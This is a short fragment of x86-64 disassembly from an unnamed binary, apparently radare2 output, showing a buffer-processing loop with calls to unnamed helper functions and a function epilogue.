add r8, qword [rbp - 0x498]
sub rsp, 0x20
lea rcx, [rbp - 0x490]
mov rdx, qword [rbp - 0x498]
call fcn.180009ca0
add rsp, 0x20
test rax, rax
je 0x1800068c8
jmp 0x1800068ac
mov rdx, qword [rbp - 0x490]
add rdx, qword [rbp - 0x498]
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x488]
mov r9, 0xa
call fcn.1800032f8
add rsp, 0x20
test eax, eax
jle 0x1800068c8
add qword [rbp - 0x498], rax
sub qword [rbp - 0x488], rax
cmp qword [rbp - 0x488], 0
jne 0x18000686d
jmp 0x180006808
cmp rdi, 0x400
jbe 0x1800067b9
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call fcn.18000350d
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x490]
mov rdx, qword [rbp + 0x28]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
mov rax, qword [rbp - 0x498]
add rsp, 0x468
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret